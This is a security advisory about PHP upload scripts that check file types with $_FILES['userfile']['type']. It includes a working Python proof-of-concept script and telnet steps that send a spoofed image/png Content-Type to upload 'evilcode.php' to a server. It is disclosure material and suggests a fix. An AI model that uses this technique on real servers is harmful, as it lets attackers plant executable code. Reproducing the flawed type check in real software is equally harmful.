Topic: Security PHP scripts which use $_FILES['userfile']['type'] variable Category: Security PHP scripts Affects: PHP version 4.1.0 and higher I. Background $_FILES['userfile']['type'] is a variable used often in PHP scripts, which have the task sending (upload) files (mainly graphic type) on server. $_FILES['userfile']['type'] variable return the mime type of the file An example would be "image/png". Quotation from PHP manual (see VII. References 01): "You could use the $_FILES['userfile']['type'] variable to throw away any files that didn't match a certain type criteria." II. Problem Description Taking the $_FILES['userfile']['type'] variable in PHP scripts, to throw away any files that didn't match a certain type criteria, can take the liberty of sending undesirable PHP files on server. III. Impact Attacker could send a file to a server with evil PHP code. IV. Proof 01 : Simple demonstration HTML form to upload files on server. File: upload.html URL: see VII. References 04
Send this file:
02 : Simple demonstration PHP script to handling file uploads. (Giving ideas of the problem back). File: upload.php URL: see VII. References 05 03 : Simple demonstration Python script, which takes advantage of the bug. File: upload.py URL: see VII. References 06 #!/usr/local/bin/python2.4 # -*- coding: iso-8859-2 -*- import os, httplib, mimetypes host = '127.0.0.1' # Written in the format xxx.xxx.xxx.xxx ex. 127.0.0.1 selector = '/upload.php' # ACTION variable in HTML form. Always with "/" ex. "/upload.php" form_file_name = 'userfile' # File variable in HTML form ex. form_max_name = 'MAX_FILE_SIZE' # Optional variable in HTML form ex. form_max_value = '262144' # Value of MAX_FILE_SIZE variable in HTML form storage_path = 'evilcode.php' # Evil PHP code :> def check_file(filename): f = open(filename, 'rb') image_file_body = f.read() f.close() return image_file_body, True def encode_multipart_formdata(fields, files): BOUNDARY = 'PYTHON' CRLF = '\r\n' L = [] for (key, value) in fields: L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('Content-Type: text/plain; charset=iso-8859-2') L.append('') L.append(value) for (key, filename, value) in files: L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) L.append('Content-Type: image/png') L.append('') L.append(value) L.append('--' + BOUNDARY + '--') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY return content_type, body def post_multipart(host, selector, fields, files): content_type, body = encode_multipart_formdata(fields, files) conn = httplib.HTTPConnection(host, 80) conn.putrequest('POST', selector) conn.putheader('Content-type', content_type) conn.putheader('Content-length', str(len(body))) conn.endheaders() conn.send(body) response = conn.getresponse() conn.close() return response if __name__ == '__main__': image_file_body, status = check_file(storage_path) if status: fields = [[form_max_name, form_max_value]] files = [[form_file_name, storage_path, image_file_body]] response = post_multipart(host, selector, fields, files) if response.status == 200: print 'Evil code on the board.' else: print 'Error.' else: print 'Erro. File not found.' 04 : Simple evil PHP code File: evilcode.php URL: see VII. References 07 05 : Simple demonstration with telnet session 1. Save as telnet.txt numbered lines being found lower down (of course without numbers): File: telnet.txt URL: see VII. References 08 01 --LYNX 02 Content-Disposition: form-data; name="MAX_FILE_SIZE" 03 Content-Type: text/plain; charset=iso-8859-2 04 05 262144 06 --LYNX 07 Content-Disposition: form-data; name="userfile"; 08 filename="/upload.php" 09 Content-Type: image/png 10 11 15 --LYNX-- 2. Checking how much usage telnet.txt and the same number write to "Content-length:". 3. Start Telnet: `telnet 127.0.0.1 80` 4. After getting connection, write down (in Telnet) 5 lines: POST /upload.php HTTP/1.0 Host: 127.0.0.1 Referer: http://127.0.0.1/upload.html Content-type: multipart/form-data; boundary=LYNX Content-length: 246 5. Add one the empty line and paste content of telnet.txt file. V. Solution Please don't use $_FILES['userfile']['type'] variable in your PHP scripts. VI. Authors rodion - rodion(at)kettu.pl jamu VII. References 01 : Handling file uploads - http://pl.php.net/manual/en/features.file-upload.php 02 : RFC2616 Hypertext Transfer Protocol - http://rfc.net/rfc2616.html 03 : Python - http://www.python.org 04 : upload.html - http://miracle7.info/security/php/upload.html.txt 05 : upload.php - http://miracle7.info/security/php/upload.php.txt 06 : upload.py - http://miracle7.info/security/php/upload.py.txt 07 : evilcode.php - http://miracle7.info/security/php/evilcode.php.txt 08 : telnet.txt - http://miracle7.info/security/php/telnet.txt